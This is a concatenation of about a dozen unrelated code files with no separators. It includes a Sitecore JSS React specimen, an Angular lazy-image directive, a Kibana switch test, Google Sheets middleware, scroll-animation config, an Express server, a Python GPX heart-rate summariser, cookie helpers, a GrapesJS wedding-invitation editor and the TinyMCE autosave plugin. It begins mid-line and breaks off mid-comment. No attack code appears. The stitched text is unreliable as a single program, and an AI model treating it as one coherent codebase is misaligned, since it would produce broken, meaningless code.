(isDef(file)) { oJobRunFile(file, ojob_args, __, (nocolor) ? { conAnsi: false } : __); } } }
import React from 'react'; import { Text, getFieldValue } from '@sitecore-jss/sitecore-jss-react'; import StyleguideSpecimen from '../../Styleguide-Specimen'; /** * Demonstrates usage of a Text content field within JSS. * Text fields are HTML encoded by default. */ const StyleguideFieldUsageText = (props) => ( <StyleguideSpecimen {...props} e2eId="styleguide-fieldusage-text"> {/* Basic use of a text field. No wrapper. */} <Text field={props.fields.sample} /> {/* Advanced usage of text field. Specifies a wrapper tag, turns off Sitecore editing, supports raw HTML, and has a CSS class on the wrapper */} <Text field={props.fields.sample2} tag="section" editable={false} encode={false} className="font-weight-bold" data-sample="other-attributes-pass-through" /> {/* Use this API when you need direct programmatic access to a field as a variable. Note: editing such a value in Experience Editor is not possible, and direct field editing must be used to edit a value emitted like this (the pencil icon when the rendering is selected in xEditor) */} <div>Raw value (not editable): {getFieldValue(props.fields, 'sample')}</div> </StyleguideSpecimen> ); export default StyleguideFieldUsageText;
function lazyImg() { return { replace: true, template: '<div class="lazy-img"><div class="sm"><img src="{{imgSmall}}" class="lazy-img-small"/></div><img src="{{imgLarge}}" class="lazy-img-larg"/></div>', scope: { imgLarge: '@srcLarge', imgSmall: '@srcSmall' }, link: function (scope, elem) { var imgSmall = new Image(); var imgLarge = new Image(); imgSmall.src = scope.imgSmall; imgSmall.onload = function () { elem.children('.sm').find('img').css('opacity', '1'); imgLarge.src = scope.imgLarge; imgLarge.onload = function () { elem.find('img').css('opacity', '1'); elem.children('.sm').find('img').css('display', 'none'); } } } } } export default { name: 'lazyImg', fn: lazyImg };
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License; * you may not use this file except in compliance with the Elastic License. */ import { functionWrapper } from '../../../test_helpers/function_wrapper'; import { switchFn } from './switch'; describe('switch', () => { const fn = functionWrapper(switchFn); const getter = (value) => () => value; const mockCases = [ { type: 'case', matches: false, result: 1, }, { type: 'case', matches: false, result: 2, }, { type: 'case', matches: true, result: 3, }, { type: 'case', matches: false, result: 4, }, { type: 'case', matches: true, result: 5, }, ]; const nonMatchingCases = mockCases.filter((c) => !c.matches); describe('spec', () => { it('is a function', () => { expect(typeof fn).toBe('function'); }); }); describe('function', () => { describe('with no cases', () => { it('should return the context if no default is provided', async () => { const context = 'foo'; expect(await fn(context, {})).toBe(context); }); it('should return the default if provided', async () => { const context = 'foo'; const args = { default: () => 'bar' }; expect(await fn(context, args)).toBe(args.default()); }); }); describe('with no matching cases', () => { it('should return the context if no default is provided', async () => { const context = 'foo'; const args = { case: nonMatchingCases.map(getter) }; expect(await fn(context, args)).toBe(context); }); it('should return the default if provided', async () => { const context = 'foo'; const args = { case: nonMatchingCases.map(getter), default: () => 'bar', }; expect(await fn(context, args)).toBe(args.default()); }); }); describe('with matching cases', () => { it('should return the first match', async () => { const context = 'foo'; const args = { case: mockCases.map(getter) }; const firstMatch = mockCases.find((c) => c.matches); expect(await fn(context, args)).toBe(firstMatch.result); }); }); }); });
const _ = require('lodash'); const GoogleSpreadsheet = require('google-spreadsheet'); const series = require('async/series'); const conforms = _.conforms({ sheetId: _.isString, privateKey: _.isString, clientEmail: _.isString }); const throwError = (next, code) => { let error; if(code === 400) { error = new Error('Bad Request'); error.status = code; } else { error = new Error('Internal Server Error'); error.status = 500; } next(error); }; /** * spreadsheets Connection Test middleware * * @param {Object} [sheetId{string}, privateKey{string}, clientEmail{string}] * @return {Function} middleware * @public */ module.exports = settings => { let doc; let isTesting = false; // properly parse escaped multi line string // const _settings = _.cloneDeepWith(settings, opts => _.mapValues(opts, str => str.replace(/\\+n/g, '\n'))); const _settings = settings; const setAuth = step => { doc.useServiceAccountAuth({ client_email: _settings.clientEmail, private_key: _settings.privateKey }, step); }; const getInfo = step => { doc.getInfo((err, info) => { step(err); }); }; const executeTest = step => { let result = { addWorksheet: false, setTitle: false, setHeaderRow: false, getRows: false, resize: false, addRow: false, setTitle: false, del: false }; doc.addWorksheet({title: 'test' + Math.floor(Math.random() * 100000)}, function(err, sheet) { result.addWorksheet = true; series([ next => { sheet.setTitle('changing title' + Math.floor(Math.random() * 100000), function(){ result.setTitle = true; next(); }); }, next => { sheet.setHeaderRow(['hoge', 'fuga', 'piyopiyo', 'foobar'], function(){ result.setHeaderRow = true; next(); }); }, next => { sheet.getRows({offset: 1, limit: 10}, function(){ result.getRows = true; next(); }); }, next => { sheet.resize({rowCount: 20, colCount: 30}, function(){ result.resize = true; next(); }); }, next => { sheet.addRow({hoge: 'foo', fuga: 'bar', piyopiyo: 'haaa', foobar: 'foo'}, () => { result.addRow = true; next(); }); }, next => { sheet.setTitle('test completed' + Math.floor(Math.random() * 100000), () => { result.setTitle = true; next(); }); }, next => { sheet.del(() => { result.del = true; next(); }); } ], err => { step(err, result); }); }); } const testWithSheets = step => { isTesting = true; if(!doc) { throwError(step, 400) } else { executeTest(step); } }; return function spreadsheetsConnectionTestMiddleware(req, res, next) { if (!conforms(_settings)) { throwError(next, 400); } doc = new GoogleSpreadsheet(_settings.sheetId); if(req.path === '/test' && req.method === 'POST') { if(isTesting || !doc) { throwError(next, 400); } else { series([setAuth, getInfo, testWithSheets], (err, results) => { isTesting = false; if(err) { throwError(next, 500); } else { res.send(results[results.length-1]); } }); } } else { throwError(next, 400); } } };
//PROGRESSIVE DIRECTOR OBJECTS {id: "text" , start; "number", stop: "number", mark: } //start and stop refer to % of viewHeight //ABRUPT DIRECTOR OBJECTS {id: "text" , start; number, scrollUp: BOOLEAN, mark:"text" } //THE DIRECTORS!!! const scrollBoxDirector = { scroll1: { id: "first-js-box", start: 75, stop: 25, mark: "top" }, scroll2: { id: "second-js-box", start: 75, stop: 25, mark: "top" }, scroll3: { id: "third-js-box", start: 80, stop: 55, mark: "top" }, scroll4: { id: "fourth-js-box", start: 80, stop: 55, mark: "top" }, scroll5: { id: "fifth-js-box", start: 80, stop: 55, mark: "top" } }; const commentBoxDirector = { comment1: { id: "parallax-1", start: 15, scrollUp: true, mark: "top" }, comment2: { id: "parallax-2", start: 15, scrollUp: true, mark: "top" }, comment3: { id: "parallax-3", start: 15, scrollUp: true, mark: "top" }, comment4: { id: "parallax-4", start: 15, scrollUp: true, mark: "top" }, videoComment: { id: "video-parallax-box", start: 15, scrollUp: true, mark: "top" } }; const spanBoxDirector = { scroll1: { id: "moving-frames-div", start: 65, stop: 60, mark: "top" }, scroll2: { id: "moving-frames-div", start: 62, stop: 57, mark: "top" }, scroll3: { id: "moving-frames-div", start: 59, stop: 54, mark: "top" }, scroll4: { id: "moving-frames-div", start: 56, stop: 51, mark: "top" }, position1: { id: "moving-frames-div", start: 50, stop: 30, mark: "top" } }; const animationBoxDirector = { scroll1: { id: "animation-div", start: 70, stop: 55, mark: "top" }, animation1: { id: "animation-div", start: 55, scrollUp: true, mark: "top" } }; const backgroundImageDirector = { backgroundImage1: { id: "parallax-5", start: 50, stop: 0, mark: "top" }, scroll1: { id: "parallax-5", start: 30, stop: 10, mark: "top" } }; const conclusionDirector = { animation1: { id: "footer-trigger", start: 98, scrollUp: true, mark: "top" } }; //PROGRASSIVE SCROLLING ACTOR OBJECTS: //These contain both intial and final CSS values. //Position keys refer to percentages of relative parent. //ANIMATION ACTOR OBJECTS {id: "text", upClass: "text", downClass: "text"} //THE ACTORS!!! const scrollBoxActor = { scroll1: { id: "first-js-box", color1: { red: 255, green: 255, blue: 0, opacity: 1 }, color2: { red: 71, green: 32, blue: 122, opacity: 1 }, background1: { red: 71, green: 32, blue: 122, opacity: 1 }, background2: { red: 255, green: 255, blue: 0, opacity: 1 } }, scroll2: { id: "second-js-box", color1: { red: 255, green: 255, blue: 0, opacity: 1 }, color2: { red: 71, green: 32, blue: 122, opacity: 1 }, background1: { red: 71, green: 32, blue: 122, opacity: 1 }, background2: { red: 255, green: 255, blue: 0, opacity: 1 } }, scroll3: { id: "third-js-box", color1: { red: 255, green: 255, blue: 0, opacity: 1 }, color2: { red: 71, green: 32, blue: 122, opacity: 1 }, background1: { red: 71, green: 32, blue: 122, opacity: 1 }, background2: { red: 255, green: 255, blue: 0, opacity: 1 } }, scroll4: { id: "fourth-js-box", color1: { red: 255, green: 255, blue: 0, opacity: 1 }, color2: { red: 71, green: 32, blue: 122, opacity: 1 }, background1: { red: 71, green: 32, blue: 122, opacity: 1 }, background2: { red: 255, green: 255, blue: 0, opacity: 1 } }, scroll5: { id: "fifth-js-box", color1: { red: 255, green: 255, blue: 0, opacity: 1 }, color2: { red: 71, green: 32, blue: 122, opacity: 1 }, background1: { red: 71, green: 32, blue: 122, opacity: 1 }, background2: { red: 255, green: 255, blue: 0, opacity: 1 } } }; const commentBoxActor = { comment1: { id: "parallax-1-comment", //triggers the scroll-up animation upAddClass: "grow", //class that will replace the current classList on scroll-up animation completion upEndClass: "parallax-comment-box", //triggers the scroll-down animation downAddClass: "shrink", //class that will replace the current classList on scroll-down animation completion downEndClass: "parallax-comment-box-zero" }, comment2: { id: "parallax-2-comment", upAddClass: "grow", upEndClass: "parallax-comment-box", downAddClass: "shrink", downEndClass: "parallax-comment-box-zero" }, comment3: { id: "parallax-3-comment", upAddClass: "grow", upEndClass: "parallax-comment-box", downAddClass: "shrink", downEndClass: "parallax-comment-box-zero" }, comment4: { id: "parallax-4-comment", upAddClass: "grow", upEndClass: "parallax-comment-box", downAddClass: "shrink", downEndClass: "parallax-comment-box-zero" }, videoComment: { id: "video-comment-box", upAddClass: "grow", upEndClass: "parallax-comment-box", downAddClass: "shrink", downEndClass: "parallax-comment-box-zero" } }; const spanBoxActor = { span1: { id: "span-box-1", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 71, green: 32, blue: 122, opacity: 1 }, position1: { top: 16, left: 16, bottom: "", right: "" }, position2: { top: 67, left: 0, bottom: "", right: "" } }, span2: { id: "span-box-2", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 255, green: 255, blue: 0, opacity: 1 }, position1: { top: 16, left: 50, bottom: "", right: "" }, position2: { top: 0, left: 0, bottom: "", right: "" } }, span3: { id: "span-box-3", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 255, green: 140, blue: 0, opacity: 1 }, position1: { top: 50, left: 50, bottom: "", right: "" }, position2: { top: 0, left: 67, bottom: "", right: "" } }, span4: { id: "span-box-4", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 255, green: 0, blue: 0, opacity: 1 }, position1: { top: 50, left: 16, bottom: "", right: "" }, position2: { top: 67, left: 67, bottom: "", right: "" } } }; const circleActor = { circle1: { id: "circle-1", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 71, green: 32, blue: 122, opacity: 1 }, //triggers the scroll-up animation upAddClass: "bloom1", //class that will replace the current classList on scroll-up animation completion upEndClass: "circle2", //triggers the scroll-down animation downAddClass: "wilt", //class that will replace the current classList on scroll-down animation completion downEndClass: "circle" }, circle2: { id: "circle-2", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 255, green: 255, blue: 0, opacity: 1 }, upAddClass: "bloom2", upEndClass: "circle2", downAddClass: "wilt", downEndClass: "circle" }, circle3: { id: "circle-3", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 255, green: 140, blue: 0, opacity: 1 }, upAddClass: "bloom3", upEndClass: "circle2", downAddClass: "wilt", downEndClass: "circle" }, circle4: { id: "circle-4", background1: { red: 0, green: 100, blue: 0, opacity: 1 }, background2: { red: 255, green: 0, blue: 0, opacity: 1 }, upAddClass: "bloom4", upEndClass: "circle2", downAddClass: "wilt", downEndClass: "circle" } }; //the background x and y postions position values are in % will be const backgroundImageActor = { moveBackground1: { id: "parallax-5", backgroundPosition1: { x: 50, y: 100 }, backgroundPosition2: { x: 50, y: 0 } }, scroll1: { id: "cypress-comment-box", color1: { red: 194, green: 1, blue: 118, opacity: 0 }, color2: { red: 194, green: 1, blue: 118, opacity: 1 }, background1: { red: 255, green: 255, blue: 255, opacity: 0 }, background2: { red: 255, green: 255, blue: 255, opacity: 0.8 } } }; const parallelSlideshowActor = { animate1: { id: "concluding-triggered-box", upAddClass: "appear1", //class that will replace the current classList on scroll-up animation completion upEndClass: "parallax-comment-box", //triggers the scroll-down animation downAddClass: "fade1", //class that will replace the current classList on scroll-down animation completion downEndClass: "opaque0" } }; //THE SCRIPT FOR THE DIRECTORS AND ACTORS!!! window.onscroll = function() { setColor(scrollBoxActor.scroll1, scrollBoxDirector.scroll1); setBackgroundColor(scrollBoxActor.scroll1, scrollBoxDirector.scroll1); animateObject(commentBoxActor.comment1, commentBoxDirector.comment1); animateObject(commentBoxActor.comment2, commentBoxDirector.comment2); animateObject(commentBoxActor.comment3, commentBoxDirector.comment3); animateObject(commentBoxActor.comment4, commentBoxDirector.comment4); animateObject(commentBoxActor.videoComment, commentBoxDirector.videoComment); setColor(scrollBoxActor.scroll2, scrollBoxDirector.scroll2); setBackgroundColor(scrollBoxActor.scroll2, scrollBoxDirector.scroll2); setColor(scrollBoxActor.scroll3, scrollBoxDirector.scroll3); setBackgroundColor(scrollBoxActor.scroll3, scrollBoxDirector.scroll3); setColor(scrollBoxActor.scroll4, scrollBoxDirector.scroll4); setBackgroundColor(scrollBoxActor.scroll4, scrollBoxDirector.scroll4); setColor(scrollBoxActor.scroll5, scrollBoxDirector.scroll5); setBackgroundColor(scrollBoxActor.scroll5, scrollBoxDirector.scroll5); setBackgroundColor(spanBoxActor.span1, spanBoxDirector.scroll1); setBackgroundColor(spanBoxActor.span2, spanBoxDirector.scroll2); setBackgroundColor(spanBoxActor.span3, spanBoxDirector.scroll3); setBackgroundColor(spanBoxActor.span4, spanBoxDirector.scroll4); moveAbsoluteObject(spanBoxActor.span1, spanBoxDirector.position1); moveAbsoluteObject(spanBoxActor.span2, spanBoxDirector.position1); moveAbsoluteObject(spanBoxActor.span3, spanBoxDirector.position1); moveAbsoluteObject(spanBoxActor.span4, spanBoxDirector.position1); setBackgroundColor(circleActor.circle1, animationBoxDirector.scroll1); setBackgroundColor(circleActor.circle2, animationBoxDirector.scroll1); setBackgroundColor(circleActor.circle3, animationBoxDirector.scroll1); setBackgroundColor(circleActor.circle4, animationBoxDirector.scroll1); animateObject(circleActor.circle1, animationBoxDirector.animation1); animateObject(circleActor.circle2, animationBoxDirector.animation1); animateObject(circleActor.circle3, animationBoxDirector.animation1); animateObject(circleActor.circle4, animationBoxDirector.animation1); moveBackgroundPosition( backgroundImageActor.moveBackground1, backgroundImageDirector.backgroundImage1 ); setColor(backgroundImageActor.scroll1, backgroundImageDirector.scroll1); setBackgroundColor( backgroundImageActor.scroll1, backgroundImageDirector.scroll1 ); animateObject(parallelSlideshowActor.animate1, conclusionDirector.animation1); };
'use strict'; require('./globals'); require('./setup-qcloud-sdk'); const http = require('http'); const express = require('express'); const bodyParser = require('body-parser'); const morgan = require('morgan'); const config = require('./config'); var path = require('path'); //var jade = require('jade'); var fs = require('fs'); var mongodb = require("mongodb"); //var monk = require('monk'); //var db = monk('localhost:27017/data'); //H:\node-weapp-demo\app.js const app = express(); app.set('query parser', 'simple'); app.set('case sensitive routing', true); app.set('jsonp callback name', 'callback'); app.set('strict routing', true); app.set('trust proxy', true); app.disable('x-powered-by'); // 记录请求日志 app.use(morgan('tiny')); // parse `application/x-www-form-urlencoded` app.use(bodyParser.urlencoded({ extended: true })); // parse `application/json` app.use(bodyParser.json()); app.use('/', require('./routes')); //app.use("/images", express.static("/home/zean/uispider/images")); // 打印异常日志 process.on('uncaughtException', error => { console.log(error); }); // 启动server if (!module.parent) { http.createServer(app).listen(config.port, () => { console.log('Express server listening on port: %s', config.port); }); }
#!/usr/bin/python3.5 """ Command line utility to extract basic statistics from a gpx file """ import pdb import sys as mod_sys import logging as mod_logging import math as mod_math import gpxpy as mod_gpxpy #hack for heart rate import xml.etree.ElementTree as ET #heart rate statistics import numpy as np import os import sys #mod_logging.basicConfig(level=mod_logging.DEBUG, # format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s') header = 'id, duration, avgHeartRate, maxHeartRate, dateOfTraining, elevation, uphill, downhill, length_2d, length_3d, moving_time, stopped_time' def format_time(time_s): if not time_s: return 'n/a' minutes = mod_math.floor(time_s / 60.) hours = mod_math.floor(minutes / 60.) return '%s:%s:%s' % (str(int(hours)).zfill(2), str(int(minutes % 60)).zfill(2), str(int(time_s % 60)).zfill(2)) def print_gpx_part_info(gpx_part, csvFile, heartRate, athleteId): #multivariable returns start_time, end_time = gpx_part.get_time_bounds() moving_time, stopped_time, moving_distance, stopped_distance, max_speed = gpx_part.get_moving_data() uphill, downhill = gpx_part.get_uphill_downhill() duration = gpx_part.get_duration() avgHeartRate = round(np.mean(heartRate), 2) maxHeartRate = np.max(heartRate) dateOfTraining = start_time elevation = round(uphill + downhill, 2) uphill = round(uphill, 2) downhill = round(downhill, 2) length_2d = round(gpx_part.length_2d(), 2) length_3d = round(gpx_part.length_3d(), 2) #id is written seperately data = [ duration, avgHeartRate, maxHeartRate, dateOfTraining, elevation, uphill, downhill, length_2d, length_3d, moving_time, stopped_time ] csvFile.write('\n' + athleteId) for d in data: csvFile.write(", " + str(d)) def print_gpx_info(gpx, gpx_file, csvFile): print('File: %s' % gpx_file) if gpx.name: print(' GPX name: %s' % gpx.name) if gpx.description: print(' GPX description: %s' % gpx.description) if gpx.author_name: print(' Author: %s' % gpx.author_name) if gpx.author_email: print(' Email: %s' % gpx.author_email) print_gpx_part_info(gpx, csvFile) '''for track_no, track in enumerate(gpx.tracks): for segment_no, segment in enumerate(track.segments): print(' Track #%s, Segment #%s' % (track_no, segment_no)) print_gpx_part_info(segment, indentation=' ')''' def parseHeartRate(file): hrs = [] tree = ET.parse(file) root = tree.getroot() for hr in root.iter('{http://www.garmin.com/xmlschemas/TrackPointExtension/v1}hr'): hrs.append(int(hr.text)) return hrs def run(gpx_files, csvFilePath, athleteId): if not gpx_files: print('No GPX files given') mod_sys.exit(1) csvFile = open(csvFilePath, "w") csvFile.write(header) i = 0 fLen = str(len(gpx_files)) for gpx_file in gpx_files: sys.stdout.write("\rProgressing file " + str(i) + " out of " + fLen + " ") #sys.stdout.write("\rDoing thing %i % i" % i, fLen) sys.stdout.flush() i += 1 try: heartRate = parseHeartRate(gpx_file) if not heartRate: continue gpx = mod_gpxpy.parse(open(gpx_file)) print_gpx_part_info(gpx, csvFile, heartRate, athleteId) except Exception as e: mod_logging.exception(e) print('Error processing %s' % gpx_file) mod_sys.exit(1) def parserMain(directoryPath, outDirectoryPath): for dir in os.listdir(directoryPath): filePaths = os.listdir(directoryPath + dir) for i in range(0, len(filePaths)): filePaths[i] = directoryPath + dir + '/' + filePaths[i] run(filePaths, outDirectoryPath + dir + ".csv", dir) def joinFiles(dirPath, outFilePath): outFile = open(outFilePath, "w") outFile.write(header + '\n') for fileName in os.listdir(dirPath): with open(dirPath + fileName) as f: f.readline() #throw away first line content = f.readline() while content != "": outFile.write(content) content = f.readline() parserMain("../Data/Sport/", "../Data/Parsed/") joinFiles('../Data/Parsed/', '../Data/summed.csv')
import { decString } from "./password" const { NODE_ENV } = process.env export function set(req, res, key, val) { const options = { path: "/", domain: NODE_ENV === "development" ? "localhost" : "academy.byidmore.com", secure: false, httpOnly: true } res.setCookie(key, val, options) } export function get(req, res, key) { const cookies = req.cookies[key] if (cookies) { let sessiondata = decString(cookies) return JSON.parse(sessiondata) } else { return {} } } export function destroy(req, res, key, val) { if (req.cookies[key]) res.clearCookie(key) }
const editorOption = { // Indicate where to init the editor. You can also pass an HTMLElement container: '#editor', height: '950px', fromElement: true, showOffsets: true, avoidInlineStyle: true, storageManager: false, plugins: [ 'gjs-preset-webpage', 'gjs-preset-newsletter' ], pluginsOpts: { 'gjs-preset-webpage': { modalImportTitle: 'Import Template', modalImportLabel: '<div style="margin-bottom: 10px; font-size: 13px;">Paste here your HTML/CSS and click Import</div>', modalImportContent: function (editor) { return editor.getHtml() + '<style>' + editor.getCss() + '</style>' }, filestackOpts: null, //{ key: 'AYmqZc2e8RLGLE7TGkX3Hz' }, aviaryOpts: false, blocksBasicOpts: {flexGrid: 1}, customStyleManager: [{ name: 'General', buildProps: ['float', 'display', 'position', 'top', 'right', 'left', 'bottom'], properties: [{ name: 'Alignment', property: 'float', type: 'radio', defaults: 'none', list: [ {value: 'none', className: 'fa fa-times'}, {value: 'left', className: 'fa fa-align-left'}, {value: 'right', className: 'fa fa-align-right'} ], }, {property: 'position', type: 'select'} ], }, { name: 'Dimension', open: false, buildProps: ['width', 'flex-width', 'height', 'max-width', 'min-height', 'margin', 'padding'], properties: [{ id: 'flex-width', type: 'integer', name: 'Width', units: ['px', '%'], property: 'flex-basis', toRequire: 1, }, { property: 'margin', properties: [ {name: 'Top', property: 'margin-top'}, {name: 'Right', property: 'margin-right'}, {name: 'Bottom', property: 'margin-bottom'}, {name: 'Left', property: 'margin-left'} ], }, { property: 'padding', properties: [ {name: 'Top', property: 'padding-top'}, {name: 'Right', property: 'padding-right'}, {name: 'Bottom', property: 'padding-bottom'}, {name: 'Left', property: 'padding-left'} ], }], }, { name: 'Typography', open: false, buildProps: ['font-family', 'font-size', 'font-weight', 'letter-spacing', 'color', 'line-height', 'text-align', 'text-decoration', 'text-shadow'], properties: [ {name: 'Font', property: 'font-family'}, {name: 'Weight', property: 'font-weight'}, {name: 'Font color', property: 'color'}, { property: 'text-align', type: 'radio', defaults: 'left', list: [ {value: 'left', name: 'Left', className: 'fa fa-align-left'}, {value: 'center', name: 'Center', className: 'fa fa-align-center'}, {value: 'right', name: 'Right', className: 'fa fa-align-right'}, {value: 'justify', name: 'Justify', className: 'fa fa-align-justify'} ], }, { property: 'text-decoration', type: 'radio', defaults: 'none', list: [ {value: 'none', name: 'None', className: 'fa fa-times'}, {value: 'underline', name: 'underline', className: 'fa fa-underline'}, {value: 'line-through', name: 'Line-through', className: 'fa fa-strikethrough'} ], }, { property: 'text-shadow', properties: [ {name: 'X position', property: 'text-shadow-h'}, {name: 'Y position', property: 'text-shadow-v'}, {name: 'Blur', property: 'text-shadow-blur'}, {name: 'Color', property: 'text-shadow-color'} ], }], }, { name: 'Decorations', open: false, buildProps: ['opacity', 'background-color', 'border-radius', 'border', 'box-shadow', 'background'], properties: [{ type: 'slider', property: 'opacity', defaults: 1, step: 0.01, max: 1, min: 0, }, { property: 'border-radius', properties: [ {name: 'Top', property: 'border-top-left-radius'}, {name: 'Right', property: 'border-top-right-radius'}, {name: 'Bottom', property: 'border-bottom-left-radius'}, {name: 'Left', property: 'border-bottom-right-radius'} ], }, { property: 'box-shadow', properties: [ {name: 'X position', property: 'box-shadow-h'}, {name: 'Y position', property: 'box-shadow-v'}, {name: 'Blur', property: 'box-shadow-blur'}, {name: 'Spread', property: 'box-shadow-spread'}, {name: 'Color', property: 'box-shadow-color'}, {name: 'Shadow type', property: 'box-shadow-type'} ], }, { property: 'background', properties: [ {name: 'Image', property: 'background-image'}, {name: 'Repeat', property: 'background-repeat'}, {name: 'Position', property: 'background-position'}, {name: 'Attachment', property: 'background-attachment'}, {name: 'Size', property: 'background-size'} ], },], }, { name: 'Extra', open: false, buildProps: ['transition', 'perspective', 'transform'], properties: [{ property: 'transition', properties: [ {name: 'Property', property: 'transition-property'}, {name: 'Duration', property: 'transition-duration'}, {name: 'Easing', property: 'transition-timing-function'} ], }, { property: 'transform', properties: [ {name: 'Rotate X', property: 'transform-rotate-x'}, {name: 'Rotate Y', property: 'transform-rotate-y'}, {name: 'Rotate Z', property: 'transform-rotate-z'}, {name: 'Scale X', property: 'transform-scale-x'}, {name: 'Scale Y', property: 'transform-scale-y'}, {name: 'Scale Z', property: 'transform-scale-z'} ], }] }, { name: 'Flex', open: false, properties: [{ name: 'Flex Container', property: 'display', type: 'select', defaults: 'block', list: [ {value: 'block', name: 'Disable'}, {value: 'flex', name: 'Enable'} ], }, { name: 'Flex Parent', property: 'label-parent-flex', type: 'integer', }, { name: 'Direction', property: 'flex-direction', type: 'radio', defaults: 'row', list: [{ value: 'row', name: 'Row', className: 'icons-flex icon-dir-row', title: 'Row', }, { value: 'row-reverse', name: 'Row reverse', className: 'icons-flex icon-dir-row-rev', title: 'Row reverse', }, { value: 'column', name: 'Column', title: 'Column', className: 'icons-flex icon-dir-col', }, { value: 'column-reverse', name: 'Column reverse', title: 'Column reverse', className: 'icons-flex icon-dir-col-rev', }], }, { name: 'Justify', property: 'justify-content', type: 'radio', defaults: 'flex-start', list: [{ value: 'flex-start', className: 'icons-flex icon-just-start', title: 'Start', }, { value: 'flex-end', title: 'End', className: 'icons-flex icon-just-end', }, { value: 'space-between', title: 'Space between', className: 'icons-flex icon-just-sp-bet', }, { value: 'space-around', title: 'Space around', className: 'icons-flex icon-just-sp-ar', }, { value: 'center', title: 'Center', className: 'icons-flex icon-just-sp-cent', }], }, { name: 'Align', property: 'align-items', type: 'radio', defaults: 'center', list: [{ value: 'flex-start', title: 'Start', className: 'icons-flex icon-al-start', }, { value: 'flex-end', title: 'End', className: 'icons-flex icon-al-end', }, { value: 'stretch', title: 'Stretch', className: 'icons-flex icon-al-str', }, { value: 'center', title: 'Center', className: 'icons-flex icon-al-center', }], }, { name: 'Flex Children', property: 'label-parent-flex', type: 'integer', }, { name: 'Order', property: 'order', type: 'integer', defaults: 0, min: 0 }, { name: 'Flex', property: 'flex', type: 'composite', properties: [{ name: 'Grow', property: 'flex-grow', type: 'integer', defaults: 0, min: 0 }, { name: 'Shrink', property: 'flex-shrink', type: 'integer', defaults: 0, min: 0 }, { name: 'Basis', property: 'flex-basis', type: 'integer', units: ['px', '%', ''], unit: '', defaults: 'auto', }], }, { name: 'Align', property: 'align-self', type: 'radio', defaults: 'auto', list: [{ value: 'auto', name: 'Auto', }, { value: 'flex-start', title: 'Start', className: 'icons-flex icon-al-start', }, { value: 'flex-end', title: 'End', className: 'icons-flex icon-al-end', }, { value: 'stretch', title: 'Stretch', className: 'icons-flex icon-al-str', }, { value: 'center', title: 'Center', className: 'icons-flex icon-al-center', }], }] } ], } }, // Avoid any default panel panels: { defaults: [] }, }; let editor; let component; const userId = $('#inv-id').val(); const editorInit = () => { editor = grapesjs.init(editorOption); component = editor.DomComponents; // Commands editor.Commands.add('set-device-desktop', { run: editor => editor.setDevice('Desktop') }); editor.Commands.add('set-device-tablet', { run: editor => editor.setDevice('Tablet') }); editor.Commands.add('set-device-mobile', { run: editor => editor.setDevice('Mobile portrait') }); }; const editorClear = () => { editor.DomComponents.clear(); // Clear components editor.UndoManager.clear(); }; const editorReInit = (element) => { editorClear(); editor.setComponents(element); getUserInformation(userId) }; $('.sidebar-theme').on('click', (ev) => { $this = $(ev.target); const templateUri = $this.data('template'); $.get(templateUri).then(response => { editorReInit(response) }) }); const getUserInformation = (id) => { $.get(`/api/invitation/${id}`).then(response => { console.log(response) const brideName = `${response.bridegroom} & ${response.bride}` const location = `${response.places}, ${response.address}` const datetime = response.date console.log(component.getComponents()); $('#bride-name').html(brideName) $('#location').html(location) $('#datettime').html(datetime) }) }; $('#btn-save').click(() => { const htmlContent = editor.runCommand('gjs-get-inlined-html'); $.post(`/api/invitation/content/${userId}`, { htmlContent: htmlContent }).then(response => { Swal.fire({ icon: 'success', title: '', text: 'Template berhasil di simpan!', footer: '<a href="/home">Kembali ke dashboard</a>' }) }) }); editorInit();
/** * editor_plugin_src.js * * Adds auto-save capability to the TinyMCE text editor to rescue content * inadvertently lost. This plugin was originally developed by Speednet * and that project can be found here: http://code.google.com/p/tinyautosave/ * * TECHNOLOGY DISCUSSION: * * The plugin attempts to use the most advanced features available in the current browser to save * as much content as possible. There are a total of four different methods used to autosave the * content. In order of preference, they are: * * 1. localStorage - A new feature of HTML 5, localStorage can store megabytes of data per domain * on the client computer. Data stored in the localStorage area has no expiration date, so we must * manage expiring the data ourselves. localStorage is fully supported by IE8, and it is supposed * to be working in Firefox 3 and Safari 3.2, but in reality is is flaky in those browsers. As * HTML 5 gets wider support, the AutoSave plugin will use it automatically. In Windows Vista/7, * localStorage is stored in the following folder: * C:\Users\[username]\AppData\Local\Microsoft\Internet Explorer\DOMStore\[tempFolder] * * 2. sessionStorage - A new feature of HTML 5, sessionStorage works similarly to localStorage, * except it is designed to expire after a certain amount of time. Because the specification * around expiration date/time is very loosely-described, it is preferrable to use locaStorage and * manage the expiration ourselves. sessionStorage has similar storage characteristics to * localStorage, although it seems to have better support by Firefox 3 at the moment. (That will * certainly change as Firefox continues getting better at HTML 5 adoption.) * * 3. UserData - A very under-exploited feature of Microsoft Internet Explorer, UserData is a * way to store up to 128K of data per "document", or up to 1MB of data per domain, on the client * computer. The feature is available for IE 5+, which makes it available for every version of IE * supported by TinyMCE. The content is persistent across browser restarts and expires on the * date/time specified, just like a cookie. However, the data is not cleared when the user clears * cookies on the browser, which makes it well-suited for rescuing autosaved content. UserData, * like other Microsoft IE browser technologies, is implemented as a behavior attached to a * specific DOM object, so in this case we attach the behavior to the same DOM element that the * TinyMCE editor instance is attached to. */ (function(tinymce) { // Setup constants to help the compressor to reduce script size var PLUGIN_NAME = 'autosave', RESTORE_DRAFT = 'restoredraft', TRUE = true, undefined, unloadHandlerAdded, Dispatcher = tinymce.util.Dispatcher; /** * This plugin adds auto-save capability to the TinyMCE text editor to rescue content * inadvertently lost. By using localStorage. * * @class tinymce.plugins.AutoSave */ tinymce.create('tinymce.plugins.AutoSave', { /** * Initializes the plugin, this will be executed after the plugin has been created. * This call is done before the editor instance has finished it's initialization so use the onInit event * of the editor instance to intercept that event. * * @method init * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. * @param {string} url Absolute URL to where the plugin is located. */ init : function(ed, url) { var self = this, settings = ed.settings; self.editor = ed; // Parses 